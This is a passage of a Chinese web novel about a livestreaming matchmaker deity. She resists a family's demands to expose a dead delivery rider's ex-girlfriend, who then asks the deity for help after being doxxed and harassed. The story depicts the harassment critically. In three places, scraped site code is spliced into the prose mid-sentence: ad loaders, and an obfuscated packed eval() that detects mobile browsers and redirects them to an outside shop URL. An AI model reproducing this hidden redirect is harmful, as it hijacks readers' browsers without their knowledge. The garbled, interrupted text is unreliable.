【文思泉涌泉相报:…………嗯。】 ID加亮加粗,炫彩夺目,所有人不用费力就能看到它。 但说完这句,他就没了下文。 ——看来是在等连线开启,准备抢名额了。 莺芝略略点头,再次和观众们交代了一句,而后开放了权限。 一秒后,“正在连线中”的字样跳出。 分为两半的画面右侧,一个有些乱的屋子作为背景出现,一个模糊的身影一闪而过,画面陡然转变。 “大姨,我抢到了!——快来快来,手机对准你了,你来说!” 随着这句分贝不小的话,直播画面也逐渐变得清晰起来。 所有在网络另一端的网友们都看到了这片环境。 狭窄的房间中,摆着一张窄窄的单人床,被褥凌乱,混作一团揉在床尾,其上还随意地扔着一些大件小件的衣服裤子。 估计是为了遮挡斑驳掉落的白灰,靠床的墙面上贴着花花绿绿的广告纸,而床头支起的小桌子上,则堆放着许多还套着塑料袋的外卖盒,应该是吃完的外卖都没有顾得上扔。 地面上摊开的行李箱周围,几双看不出原色的鞋子歪七扭八地摆着——除此之外,房间里再没有什么其他的东西了。 床边,一位看起来有六七十岁年纪的女性肩背佝偻,愁苦地坐着,看样子,似乎正在收拾床上堆放的衣物。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 听到先前的男声,这位被称为大姨的女性抬起头来,她的面容展露在镜头前,眼下青黑,眼眶肿起。 “我们可以说话了吗……”她喃喃开口,征求似地望向一个方向。 “可以啊大姨,有啥冤屈赶紧说啊,这儿现在好几万人看着呢!!” “几万人……”女人怔了怔,旋即在兜里摸索了起来。 很快,她摸出了一根白色的布条,搭到了头顶,声音陡然变得凄厉,双眼直勾勾望向镜头。 “——我儿潘永福,今年十九岁,昨晚没了。” 莺芝一怔:“这位……” 女人状似没听到她的声音,径直哭喊着:“——我们永福十六岁跟那女的搞朋友,他在安城干得好好的,去年被那女的勾着,非要来跟她到峄城来,我们老两口不让,但他铁了心了,就是要来——现在钱也没了,命也丢了,我们该去找谁啊!” 她嘴唇哆嗦:“要不是记挂着永福的公道,我们老两口也想一头撞死算了!大家伙啊,我来替我儿曝光那女的——那丧尽天良该死全家的叫董银灵!董事长的董,银子的银,哭灵的灵!!她该来给我儿哭灵!” “她之前安城大学读书,现在在峄城什么政府机关工作——警察都不敢管她的事!我们来领永福回家,他们敷衍我们老两口,说永福是意外被撞死的……好好的在路上走着,咋会被撞呢?这是要堵死我们老两口伸冤的路啊!” 潘母从自己兜里摸出个样式古早的手机,哆哆嗦嗦操作了几下,把屏幕亮了出来,上面是一个穿着学士服,怀抱书本,笑容灿烂明艳的年轻女生。 “这就是那女的,这就是她!!” “我听侄儿说,我们家永福昨天晚上在这儿算过一卦,那肯定有人还记得他——我们永福苦啊……这辈子已经够苦了,还沾上这么个丧门星,命都交代了!” “大家都是明事理的,要记住这个女人,替永福讨还一个公道啊!” 【……我滴妈,原来昨天晚上那个外卖小哥,就是热搜上那个被女人骗干净的小潘?】 【我,我有点想哭了,对不起啊小哥,我昨天不是故意嫌弃你邋遢的……】 【热搜我也看了,那些转账记录,真就一屏又一屏啊……】 随着潘母声泪俱下的控诉,观众们的讨论愈发激烈。 大家似乎都忘记了,这个直播间原本是做什么的。 【不对啊,女方家里要是机关的,那没理由要这一点钱啊?】 【有钱不代表不想多要点吧?而且你看那女的,长成那样,还跟小潘在一起,说不是看上他的钱了谁信啊】 【女的也挺漂亮的,怎么心这么黑】 【二十多岁的大学生,跟十六岁的未成年小伙谈恋爱……骗感情还骗钱……】 【十几岁辍学出来打工,以为碰到真爱,死心塌地付出一切,结果钱被骗光,人家玩够了,惨遭分手,死后又因为官官相护,难以求一个公道……怎一个惨字了得】 【董银灵?我好像有点印象哎。我是安城大学的,我们导师有个经常挂在嘴边的得意门生学姐,好像就是叫这个名字】 【天啊,董银灵当时就在我们班啊,还是团支书兼系花,很多追求她的男同学,她竟然是这种人?】 【得意门生,哈哈,就这种女的,读再多书,学习再好,也是个龌龊的货色】 …… 被十几个焰火卡出去的观众们回归,相继加入了一波又一波的声讨中。 15. 第 15 章 莺芝的声音被淹没在渐起的热度中。 眼下这种情况,事情已经发酵到了这等地步,群情激奋,都表现出了对这件事的极大关注,她再说什么禁止讨论相关怕是也都没有了用处。 她默默叹了口气,下定决心,下次一定要把“房管”给安排上。 或许是莺芝沉默得太久,又或许是对她这样完全充当一个“旁观者”的反应感到不满,渐渐地,在潘母的声声哭诉中,有观众开始把注意力转到了她的身上。 【给予她温油ma:主播怎么不说话?不发表下意见吗?表表态啊,那小伙子昨天才来过,不会这就忘了他吧?】 【履行摸鱼职责:我觉得……这样是不是不太合适?这里怎么说也是小莺的月老直播间,在这里讨论这种事……都把小莺的意愿给无视了】 【晚间生物:也对,我们擅自在这儿唠开了,都没管小莺是不是愿意自己的直播被占,是不太好】 【我真没有QAQ:不发表意见,等主播的专业讲话】 …… 【她能有啥不满的?潘永福在这儿算过卦是真的吧?那她就有义务来替潘永福说话啊】 【我们村里会上网的都被喊来了,主播,我们给你涨人气,你也别装哑巴,说句公道话】 【这事已经到热搜第一了,点进直播间来的人会越来越多的,主播,你知道这是啥吧,大好的机会啊】 …… 观众们话锋的转变实在再容易不过,只要有带头的,很快就能转变风向。 就连潘母,也从伤心欲绝的大声哭喊变成了小声的啜泣,似乎是哭累了,又似乎在等莺芝应对。 数万人的瞩目中,莺芝静静浏览过这些内容,平静地摇了摇头: “逝者已逝,他的事情不应该被拿出来当做茶余饭后的谈资——我也没有什么能够帮得上忙的。” “怎么能没有呢?有啊!” 不等她说完,潘母便情绪失控道,“不是帮永福算过——” “——大姨、大姨,你别急你别急,顺顺气,我来跟她说。” 镜头外,带着点口音的男声响起,有些崩溃的潘母在他的安抚下慢慢平静了下来。 安抚完潘母,镜头调转,一个约莫三十岁上下的男人出现在了画面中。 他摆好手机,坐到了潘母的旁边。 “哎……其实这件事是这样的。” “我的这个弟弟,家里困难,人又懂事,总想着帮衬家里,所以他十三岁那年就不上学了,跟着村里几个年纪大点的一起去了安城,想着大城市赚钱的机会也多。” “刚出去那会儿,他是在厂里做的。但是后来,两年后吧……人家厂里说规定换了,年纪不够的不用了,永福就没了去处。刚好那会儿听说送外卖也挺挣钱的,大城市嘛,好多富裕的,又不想出门的,就点外卖吃。小潘就借了个证件,搞了个送外卖的活计。” “我们也不知道他是什么时候认识的那女的——就是董银灵哈,反正听永福说起来的时候,他俩就已经在一起了。那阵子他往家转的钱都少了,我大姨他们老两口寻思着他一个小孩在外头,用钱的地方肯定多着,就没多想。知道他谈了个女朋友的时候,家里还都挺高兴的,没少说让他把人带回来看看,但永福总是推脱……后来大姨他们就明白了,可能是女方嫌弃他们家里的条件,也就不咋跟永福提了。” 说到这儿,男人摇了摇头,脸上露出些恨铁不成钢: “再后来,他们亲子间说起这女的,就是去年了……永福喊这要跟她一起回老家——回她的老家。大家想想啊,永福才刚十八,哪个当老里的愿意让儿子这么跟别人跑了还不担心的?万一那边是人贩子、或者搞传销的呢?家里都不同意,可是永福这孩子不依啊,平时那么乖的,这件事偏偏就跟倔驴似的,死活不肯松口,一拧劲子就是要跟董银灵走。家里实在管不住,只能由着他走了。” “前些天,永福跟家里打电话,问家里想不想让他回去,家里肯定是想啊,但是也觉得奇怪,之前明明怎么劝都不听的——就问是怎么回事,然后永福才说是分手了。他们分手,家里倒是松了口气……这点没敢跟永福说,不过从那通电话后,家里就都盼着他回去了。没想到,再接到电话,就是昨天半夜,警察打的,通知让家里到峄城……认尸,领永福回家。” 旁边的潘母又开始抹眼泪,男人哽咽了两声:“今天我们到了这边,警察非得说永福的死是个意外,把永福的遗物什么的给我们就要打发我们走——我们在手机里发现了那些转账记录,还有,他们聊天的时候,永福多么卑微,大家都看到了吧?永福的账户余额,现在都只有两位数!连一张回家的车票都买不起……” “他要不是走投无路,没脸回家,怎么会死?可是峄城的警察还护着那个女的,这让我大姨他们老两口咋过得去这个坎?” 他把潘永福的事又一次讲述了一遍,比潘母笼统讲过的要更为详细一些。 “我在他的手机后台里看到,他昨晚在你这里过,也看到他的截图了,他特地截图存下了跟你连线的时候,我想他肯定是很开心你愿意跟他连线的。” 说完,他看向莺芝,眉心叠拢着,眼神一点也不避讳,直勾勾的: “你直播间我搜了,那个明星的事就是你算出来的吧?既然你是个算卦的,就应该能算出,我弟他给那个女的付出了多少,那女的有多坏,你完全可以站出来,跟大家说一下啊。你既然是搞直播的,现在不就你大火的机会吗,只要你站出来说实话——像搞那个明星的时候一样,只不过是让你把算到的事说出来,就这么难吗?!难道因为她家里有权有势,你就要包庇那个女的?” 【晚间生物:我越听越不对劲,孩子很惨是真的,但是关小莺什么事?为什么要道德绑架小莺?】 【一只浪迹瓜田的猹:……你这人,怎么越说越离谱了,想帮小潘就好好帮,非要发散这几句干嘛,这不是找架吵吗?感觉不太聪明。】 …… 【主播说话!不要包庇恶女!!】 【曝光董银灵,让她到潘永福坟前磕头认错!】 【能搞明星就不肯替可怜的男孩说话?欺负我们小男孩没热度?】 【还钱,认罪,毁人全家的恶女不要隐身】 …… 虽然有部分观众对潘表哥那几句话感到很不舒服,站在莺芝这边谴责了对方,直播间的弹幕风向却不受他们这小部分人群的控制,无可阻挡地被潘表哥讲述的内容带动。 群情激奋,小小的直播间,成了临时的战场,一丛又一丛的冲突,把尖锐的矛头对准了董银灵和莺芝。 莺芝神色不变,纤细的肩背端得笔挺: “我确实是能够‘算’出潘永福的情况,也能把详情说出,但,这一切的前提是,潘永福亲自向我表述出想要知道——正如任天博事件,崔姑娘作为当事人,与她切肤相关的事情,我有必要尽到告知的责任。” 她直视着潘表哥和潘母:“而现在,潘永福已经去世。他最后留下的意愿,是不把这些事为外人所知——” 昨晚,那么多人鼓动着让他说出自己的事,那样的机会,如果他真的认为自己被骗了,真的愿意把这一切“曝光”,他怎么会不说? 他不说,就证明他不愿意、不想、不认为。 莺芝敛了笑容,语气轻淡: “作为潘永福寻求帮助的对象,我必须尊重他的意愿。而且,据昨晚那‘卦’来看,他对那位女性是有着真实感情的——我尊重所有的真情,所以,无法做出与他立场相悖的事,也无法在他死后,把他的事件当做是我自己的‘机会’,抱歉。” “你是说我们把永福的死当成机会吗?!你个杀千刀的黑心人——” “我儿那么惨,你还说他惦记着那女的,不认为自己被骗?他还那么小,他懂什么!不是被骗了那能是心甘情愿把自己糟践成那样的??我的儿啊——你怎么就去了呢,留我伸冤都没地儿去……我不活了,不活了!!” 潘母尖锐的控诉传来,随后又成了嚎啕大哭。 莺芝表情却毫无波澜。 她安静地回答:“潘永福是因何而死,为何而死,衙、警察会查清楚的。作为百姓,要相信司法部门,现如今的他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们,不从百姓身上索求什么,也不会为了什么而撒谎,在这件事上,他们会给所有人公平的答案。即便那位董姑娘真的做了什么,警察也不会包庇徇私——真相是什么,就是什么,不会因为谁而改变。” 潘表哥表情一变:“你什么意——” 莺芝道:“——对于潘永福的去世,我理解亲人的悲痛,但也希望他能够得到安宁。逝者为大,亲人现在能做的,就是为他好好收拢置办,以让他早日入得轮回。” 她的双眼是没有任何杂色的黑,沉沉看向谁的时候,仿佛要把人心神都摄入。 不知道是不是被她盯得不自在,潘表哥嘴巴张了张,想说的话却没出口。 不再理会弹幕的争论,莺芝关闭了连线权限。 她端肃坐在镜头前,悦耳的声音依然动听,却不再见婉转: “今日情况特殊,三次观缘便就此作罢——” “对于大家在关注的事件,我不会发表意见,也不会‘站立场’,向我寻求帮助的人没有明确表述出想把自己相关事情公开的意愿,我便不会说。我只是一个‘拉媒的’,只能够做本职内的事情,其余所有事都无权插手,也不会插手。” “也希望大家在关注事件的同时,能够给予司法部门信任。” “世间因果,循环往复……我们下次再见。” 【晚间生物:小莺说得对,我们要相信警察。】 【履行摸鱼职责:对啊,孩子出事不去收拾后事偏偏来网上闹,合适吗?敢说自己不是来博热度的?】 【骂谁二次元呢:好家伙给我们小莺姐姐都干生气了,直播都要结束了,行了这次我也站中立,我倒要看看这事后续能咋发展】 …… 【我真没有QAQ:主播最后那句是什么意思啊】 【一只浪迹瓜田的猹:小莺姐姐别气,明天见~我去网上蹲后续去】 【文思泉涌泉相报:下次见】 关闭直播,莺芝怔怔望了一会儿黑掉的屏幕。 “……月仙大人?”红线小人攀上她手指,关切出声,“您在生气吗?” “没有。”莺芝摇了摇头,“我只是在想,人性果然复杂。” 凭昨晚的观缘,她可以断定,潘永福对那位董姑娘确实是有真感情的,曾经的董姑娘对他也是。 两人之间的事情无比清晰,就是感情消失,所以分开了。 这样简单的一件事,竟发展成这样。 是她远离人群太久了吗?都有些难以把握了。 莺芝整理了一下思绪,而后站起了身。 “走吧。” 红线小人一怔:“去哪?” “回姻缘殿。” 既然今天直播不了了,那就趁机回去一趟。 虽说她下来后殿里还有其他小助手处理相关事宜,但现在刚好有时间。 红线小人顿时精神一振:“好!” …… 如今的姻缘殿本就没有太多事务要忙,几个小助手“员工”足以处理。 莺芝回到姻缘殿,依照流程检查了一下工作日志,仔细审查过后没有发现什么地方有纰漏,便也放下心来。 而后,她通过询问得知,并没有哪位仙君来“讨债”—— “我们要去送子娘娘殿还钱吗?”红线小人坐在莺芝肩头,询问道。 莺芝摇摇头:“不必,我们先去兑换一些功德。” 她也是听文隽说才知道,神仙个人账户的功德不止可以在天庭使用,还可以换成下边的钱。 忍着心疼兑了足量的钱,莺芝才又回到了姻缘殿。 休整了一晚,第二天过午,莺芝带好手机等相关物品,再次前往朝天门。 熟悉的云雾过后,莺芝重新站在了那间庙宇的土地上,被凡间的气息包裹。 同一时间,被她装在袖袋中的手机发出了接连的震动。 莺芝疑惑打开手机,发现是那个有热搜软件中,有人私聊她。 【银角灵王:你是小莺吗?在xx直播的那个小莺吗?】 【银角灵王:求求你,帮帮我】 16. 第 16 章 这几条新消息的发送时间是昨晚深夜、或者说是今天的凌晨。 莺芝身在天庭,手机没有信号,现在回来,刚一落地消息便随着信号指示标一起转了进来。 银角灵王…… 莺芝把发消息人的ID看了两遍,心中稍微有了猜测,随后她顺着对方头像点进了主页。 头像是黑的,主页的内容也都空掉了,什么都没有。 但是个人资料那里还是能看到一些边角—— 所在地:峄城。 莺芝一边往落脚处走,一边拿着手机用语音输入的方式给对方回消息。 【AA红线小莺:我是小莺,你好,请问是董银灵姑娘吗?】 【AA红线小莺:有什么需要我帮忙的?】 昨晚的消息,她现在才回,本以为隔了这么久,对面要过上一会儿才会回消息,没想到莺芝还没来得及把手机塞回袖袋,银角灵王的消息就已经回了过来。 【银角灵王:我是,是我!我就是董银灵。】 【银角灵王:我听他们说小潘在你这里算过卦,他跟你说过我们的事吗?我现在被那些人逼得没路了,他们想我全家死,你帮帮我好吗】 【银角灵王:我真的没想到小潘会出事,我也不想的,我真的没有害他啊。明明电话里我还跟他说让他好好的,他也答应我了,说要回家了,怎么就会成这样呢?】 【银角灵王:你忙吗,介意陪我说说话吗?】 莺芝叹了口气,回了条消息过去。 【AA红线小莺:这是我的号码。】 【银角灵王:感谢!!太谢谢你了!!】 几秒钟后,一个被标记为“诈骗”的电话号码就打了过来。 董银灵的声音有些哑,音量也压得很低,像是不敢大声说话。 “喂?是小莺吗……” 莺芝没有停下赶路,边回应着电话:“是我。” 或许是被她轻柔的声音安抚,又或许察觉到她语气中没有任何的气愤或瞧不起,电话那边,董银灵明显长长地出了一口气。 “……我找过你直播的视频,是这个声音没错,我应该没找错。” 莺芝有心帮她紧绷的神经放松一些,便没有单刀直入,而是也笑着跟她一起说些旁的: “如果对我的身份存疑的话,我还可以用直播的账号和你交流一下。” 董银灵不大好意思地道:“不用不用,我只是被他们搞得有点神经衰弱……” 这是要进入正题了。 莺芝会意,轻声递着话头: “他们?” “……嗯,他们。”董银灵有些迟疑的声音从听筒另一边传来,夹杂着浓浓的疲惫,“我也不认识他们,反正,就是一些陌生人吧。” “现在那些人把我的资料发到网上了,好多个大v出面,说我要对小潘的死负责。我的全平台的账号,手机号,什么都被公开了。从昨天下午开始,好多好多人在给我发鬼图血图,还有人问我多少钱一晚,问我给我全家的坟地买哪里了……我有点烦,就一直在想要怎么办,最后看有些人提起了你,说你不听他们的,我就想着给你发条求救消息试试……” “而且,我今天上班,竟然在小区楼下看到了写着我名字的花圈……!他们连我住哪里都知道了!!小区里的人看我眼神也不太对……同事们也是,这让我开始有点害怕了。” 莺芝眉心微皱:“光天化日之下送花圈,这种事情可不是隐蔽的,没有人管吗?” 董银灵苦笑:“这借口太好找了,随便编个谎话就能进小区,也没办法——其实我倒是没什么,要是只有我一个人,被他们搞搞心态也就算了。可我跟爸妈就住上下楼啊,他们俩都快退休了,我爸身体又不好,我不想让他们因为我的事受到什么不必要的伤害。” “但是,不管我说什么,怎么解释,都没有人听,他们只会一遍遍地骂我,让我去死,让我给小潘配阴婚——” “阴婚……”莺芝秀气的眉峰拢起褶痕,少见地有些怒色。 生死有常,阴阳相隔,这是最基本的常识。 阴阳本该泾渭分明,阴婚却是试图将生者与逝者以这种形式绑定,这既破坏了阴阳相隔的规矩,也将本该随着生人去世而一同结算的因果给弄得彻底乱了套。 而且最最最重要的是——这简直是在藐视姻缘,把最真挚不过的事踩在了脚底。 红线耳饰在莺芝耳垂上摇摇晃晃发表意见:提出这种邪恶要求的,真是恶毒又愚蠢的人啊月仙大人!不能忍他们! 董银灵没有注意到莺芝的不同寻常,而是继续说着: “中午的时候,领导找我谈话,说收到了举报信,让我先停职回家,等待上边的检视和处理通告……我的生活,工作,全都成了一团糟,而且完全没有回到正轨的可能,看不到任何未来——我做错什么了吗?我就是谈了个恋爱,分了个手,我招谁了我。” 说着,她本来有些丧丧的声音里又多了点希望:“本来我都想着把自己关起来,什么也不要管了,还好,收到了你的回复。我给你加了特关,其他那些人的消息我都已经没勇气看了。小莺,我实在是没办法了,你能帮帮我吗?” ……看来,是找她来参与“曝光”遭拒绝,有心人便放弃了她,从而转到了另外的地方,借助其他的力量,大肆宣扬起了这件事。 听完董银灵的话,莺芝压下心头那点无名的憋闷,以问作答:“你想要我怎么帮你?” 董银灵没有犹豫,显然是在等待莺芝回应时,就早已经打好腹稿。 她当即道:“曝光我!” “把我和小潘的事都公开说出来——我私下里说的他们不信不听,那我就在许多人的见证下,亲自把证据拿出来,放到他们面前给他们看!” 她语气扬起了许多,但没有太气愤,也没有怨怼,只是充斥着浓浓的“不服”—— “无论我到底是什么样的人,都不可能是他们随便编造的那样啊!明明什么都不知道,就信了是我害死小潘的?” 莺芝不由地弯了弯唇角:“我说话,大家也未必会信。” “没关系啊,你只用帮我打打辅助就行了。” 董银灵语气认真,“我想要你帮我,说到底,其实是想要一个不被捂嘴、光明正大替自己说话的机会。那些人骂我怼我质问我,我回复他们,结果他们又不听,所以只能这样,在一个公开的场合,让更多的人见证我的自白。” “我知道这可能会耽误你的时间,你是算卦的是吧?那就替我算一卦——算我的上一段感情,这样的话,小莺,可以吗? 莺芝同样认真:“我不会在‘卦’上撒谎。也就是说,如果你真的做了什么坏事,对潘永福不好的事,我不会帮忙遮掩——这样,被我看到也没有关系吗?” 董银灵笑了:“当然没关系,我这个人,行得端坐得直,这辈子除了骗骗我爸妈,还没有做过什么大的亏心事,就算真有什么,做过什么坏事被暴露,我也愿意承担后果——所以,小莺,这一卦可以预定给我吗?”或许是觉得这说法有点不对劲,她又找补道,“我不是要你给我开后门,我是在直播之外找你帮我的!” 莺芝微微一笑:“可以。” 董银灵大喜过望,但一喜过后,又有些迟疑。 “你会被我连累,和我一起被骂的。” 莺芝含笑道:“我知道。” “……没有关系吗?”董银灵咬着嘴唇,“我很感激你愿意帮我,也非常想你帮我。但……如果你不愿意,我不会勉强。毕竟我没资格让你陪我挨骂。” 莺芝声音温和,淡而笃定:“我本就是月老,在我力所能及的范畴内,向我求姻缘相关的帮助、或因姻缘而遭遇磨难的,我都会提供帮助。” 董银灵“呼”了一声,终于放下心来。 口气一松,她又忍不住好奇:“无偿的吗?我可以花钱的。不管是算卦还是这次找你帮助。” 莺芝失笑:“不需要钱。如果你有心,事后去供有月老或红线娘娘等的庙里,上几炷香,诚恳还愿感谢就好了。” “好说,要是这件事能解决,我之后每月都会去庙里上香!!”董银灵干脆利落应下。 随后,她打算简单说一下自己和潘永福之间的事给莺芝听,美其名曰“事先汇报”——被莺芝以“卦前不打听”为理由拒绝了。 两人又说了几句,挂电话时,董银灵的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13982859|148220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状态比起刚开始接通电话时明显的紧绷已经好了很多。 眼看还没到直播的时间,莺芝在稍微逛了一下街,又买下一部手机,然后在楼下的街道中挑了家相对干净一些的餐馆,打包了份晚饭回去。 回到住处后,莺芝一边吃饭,一边调出了跟文隽的对话框,把在天庭兑换的现世金钱转了一些过去。 对方没有回消息,或许是在忙,莺芝也没有在意,关闭对话框,专心吃饭。 红线小人则坐在一边,对着放在支架上的新手机努力熟悉操作——它将成为莺芝的直播小助手,管理禁言屏蔽等相关事宜。 它兴致勃勃,即便连手机都抱不动、自己站着也没有手机高,也仍然凑上去高高兴兴地摆弄着,显然对这个重要无比的任务很满意。 等莺芝用完餐,把桌子收拾干净,时间也差不多到了直播的点,卡得刚刚好。 按时按点,她再一次开启了直播。 主播:【AA红线小莺】开启了直播。 直播间:【职业月老,在线定缘】 这条开播通知一经发出,瞬间就有无数观众涌了进来。 有粉丝标识的没有粉丝标识的,混杂在一起,进来后就迫不及待发起了弹幕。 连带莺芝的手机都有好几下肉眼可见的卡顿。 卡顿恢复,莺芝如常带上微笑,和观众们打招呼。 “大家好,欢迎来到月老定缘直播间,我是小莺。” 无视了和昨晚一样、甚至比昨晚还要更激烈几分的弹幕,她笑容完美,莺鸟的一把温柔好嗓全然成为了安抚人心的助力: “话不多说,我们现在就开始今日的三次定缘吧。首先,有请今日第一位连线求助的观众——” 早就准备好一切等待着这一刻的董银灵就守在手机前,听到这句话的同时,就飞快动起了手指,把屏幕都点出花来了。 虽然莺芝没有公开开放连线权限,这是只针对“好友”的一次,她也有些紧张,生怕对方有别的什么“好友”也恰好参与了这次的机会争夺。 好在一切都如正轨,没有意外发生。 董银灵很顺利地连通了直播。 她穿着件黑色的衬衫,墨色的长发顺滑地披在身后,淡妆压不住脸上因没睡好而有些疲惫的神色,但神情却不见萎顿,双眼明亮有神。 她端坐在桌前,肃容望着镜头。 画面出现在屏幕一侧时,观众里有眼力不错的一眼就认出了她。 随后,弹幕便轰然炸开。 【董银灵?】 【银角灵王,就是她!她其他软件也叫这个,错不了!】 【董银灵有什么脸来的?她好意思出现?】 【贱女人,你怎么还没死,恬不知耻!!】 【主播拒绝了潘妈,原来是跟董银灵有勾结,怪不得呢,拿了多少钱啊?】 …… 几个出挑的、骂的太过分的,被红线小人飞快地拉黑禁言一条龙了。 它可是忍了很久了,真当姻缘殿没红线了是吧,再三再四地撒野! 剩余的大多数仍然在吵闹,莺芝没有过多理会,董银灵也没有。 她扯了扯嘴角,带起一丝礼貌的笑:“主播你好,可以帮我看看姻缘吗?” 莺芝颔首:“可以。” 董银灵的资料早一阵就已经发到了她这里,现下,莺芝便依照流程,拿出另外的红线做媒介,正式通过姻缘簿看了一下对方的缘线。 片刻过后,她睁开眼。 “你想问什么?” 董银灵敛了表情,认真道: “我想问,在我刚刚结束的一段感情中,彼此双方…有没有哪一方,存在任何的、对对方不忠,进行欺骗、或其他同等情节的情况。” 【看明白了,原来这女的想用玄学来洗白?】 【玄学说白了不就是骗人的呗,真以为有人能听个算卦的在这儿胡诌就信了她们?】 【什么直播间,蛇鼠一窝,沆瀣一气!】 …… 莺芝定定看着镜头。 紧接着,包括董银灵在内,所有人都看到—— 她点了点头。 “有。” 17. 第 17 章 莺芝这句话一出口,整个直播间似乎都凝固了一瞬。 旋即,被突然冻结的表象又轰然迸裂。 【听到没有,主播说有!】 【难道这是主播的炒作手段?骗董银灵来说给她洗白,然后借机踩一脚证明自己?】 【不对吧……董银灵人品差就算了,难道还是个傻逼?】 …… 【一只浪迹瓜田的猹:小莺姐姐昨天都生气了,肯定不是那种人,她这难道是真的算出了什么?】 【骂谁二次元呢:我是真的好奇,又觉得这锤子要砸到董银灵身上,又觉得事情不会那么简单,啊啊,好纠结】 【晚间生物:这也能有新的反转吗?蹲】 【我真没有QAQ:不知道还有没有人记得,主播给那个送外卖的算的时候,说了一句话,“你不是她的正缘”——当时我就觉得这句话很有说道,就是一直没想明白】 【我真没有QAQ:现在我觉得,主播要爆猛料了。她是专业的,一定是从董银灵的命里看出了大家都不知道的事。】 【你到底说不说:你是不是想当预言家想疯了啊QAQ兄弟,那不就普普通通一句话吗】 …… 层叠划过的弹幕里,还有几条来自昨天和莺芝连麦的那个账号。 【天道好轮回,人在做,天在看!该爆出来的,都要爆出来,拿了永福那么多钱,还想当没事儿人,做梦!】 【董银灵,看到了吗,你想再多办法都没有用,老天都不帮你!你等着吧!】 【黑心肝的,迟早要还回来!】 直播画面中,听到莺芝的回答后,董银灵明显也怔住了。 似乎是没反应过来莺芝刚刚说了什么,她愣了好一会儿,才迟缓地回过神来。 “……你说什么?” 莺芝脸上依旧是那副工作时的笑容,语气温吞:“我说,有。” ——在那段感情里,有人对彼此不忠、欺骗对方吗? ——有。 理解了这一个字的含义,董银灵脸色在一瞬间变得极其难看。 她阖上了眼,似乎在隐忍,又似乎发抖。 胸膛起伏数息后,董银灵重新稳定了情绪,望向莺芝。 “……什么时候,做了什么?——……抱歉,后边这个问题,能算出来吗?” 莺芝颔首: “只一个人的话,是做不到的,毕竟我只擅长姻缘相关。但你们这个情况不同——你们两个先后都曾找过我,这意味着你们的缘线我都可以仔细观看,所以,一些含糊模糊的地方,两相一比照,也便有了结果。” “你的意思是……” “——能。” 莺芝没有丝毫犹豫,给出了肯定的答复,随后又问道: “要我说出来吗?” 她是指,要在这么多人面前说出来吗? 这是他们情侣间的私密事,在直播间说出,无异于把“家丑”外扬。 大多数人都会介意这一点。 董银灵咬咬牙,深深吸了一口气。 她定了定神,眼底划过一抹坚定:“要。你说吧。” 怎么不忠,怎么欺瞒,她也想知道。 莺芝点了点头,停顿了片刻,斟酌下措辞后,仍旧是以短句开场: “——你们有过孩子。” 尾音微微上扬,似乎在向对方确认。 董银灵一愣,没想到莺芝上来第一句会是这个,呆愣过后,她没有否认: “是,我怀过孕。” 这一问一答,屏幕右下角的弹幕区可算是又找到了新的讨论点,再一次闹哄了起来。 【我擦,没记错的话小潘走的时候才十九吧,就能给女朋友肚子搞大?】 【男方都跟着女方回老家了,还谈了这么多年,有点什么也很正常吧,怀孕也只能说明没有做好措施,主播问这个想干什么】 【董银灵只说自己怀过孕,看来是没生下来】 …… 【你们讨论生不生的是脑残吧?男的把自己过成那个b样子还想要孩子?拿头养?】 【前边那个发癫的女的,钱不是都在董银灵那儿吗?她把潘永福钱全骗走了,潘永福还能拿什么养?】 …… 而其中,更有潘母潘表哥那边的账号,不可置信地连连质问董银灵。 【你什么时候怀孕过?我们怎么不知道?】 【永福从没说过这件事】 【你不要以为说你给永福怀过孩子,就可以抵消你做的孽!】 …… 被他们带动,怀疑起这件事真伪的声音也越发大了起来。 董银灵看到了那些内容,这次,她没有无视,而是叹了口气,稍微做了下回应。 “去年小潘来了峄城,我们算是半同居了。在我们的计划里,原本是没有怀孕这一项的,我们两个年龄差距在这里摆着,又都还这么年轻,谈什么孩子?刚好我和小潘都挺讨厌小孩的,就有这么个约定,并且他也和我说好了,不管怎么样,我们都不要孩子。” 她摇了摇头,往后撤开了一些距离,拉开桌子的抽屉翻找了起来,“其实我们一直有做措施,而且我也不是天天都和他一起住,我给他在峄城租了房,离我家不是特别远,基本上我每周会过去住两天吧。但计划赶不上变化,反正就是意外怀孕了。” 终于,她找出了什么,浏览一遍确认没错后,把那张纸展现在了镜头前,“打胎是我妈陪我去的,这是单子——小潘比较忙,而且到底这是他的孩子,他有点不舍得,那几天都恹恹的。我能理解,所以没打算强求他强打精神跟我一起。然后那天我就没叫他和我一起去,叫了我妈。” 直播间的镜头,要想拍纸张还是有些困难,董银灵把那张纸都兑在了屏幕前了,也还是只能依稀辨认出几个字样,其中,董银灵的签名是最显眼的。 她没多说什么,放下单子,直接道:“虽然我不觉得这跟现在的事有什么关系……但,如果有必要的话,我可以把它发到我账号主页。” 说着,她看向莺芝,有些讶异,“你不是只能算姻缘吗,连我怀过也能算出来?” 莺芝微笑着:“我在潘永福的缘线上看到过一段短暂的子嗣缘分,那时有些不明就里,但如果和你的放在一起,就明白了——你们两个的这一截子嗣缘都在同一时间。” “好神奇……”尽管时间不对,董银灵还是忍不住有些惊叹。 “可是,这和我们在说的,有什么关联?” 不忠和欺骗,总不能这孩子不是小潘的吧? 这一点她再清楚不过了,这绝不可能啊。 莺芝笑容不变:“自然是有的。你本是个无子嗣缘的人,这横生的一截,乃是有外力介入所致。” 董银灵一呆:“没有子嗣缘能理解,我本来就是有丁克倾向的,但外力……这是什么意思……?” 莺芝道:“我并不能确定详情,只能给出大概的范围。你可以回忆一下,在你推算出的怀孕时日的前七到十日,他是否有什么不同寻常——情绪,或举止。” “就算你这么说……”董银灵喃喃着,眉毛微微皱起,下意识随着莺芝的话回忆了起来。 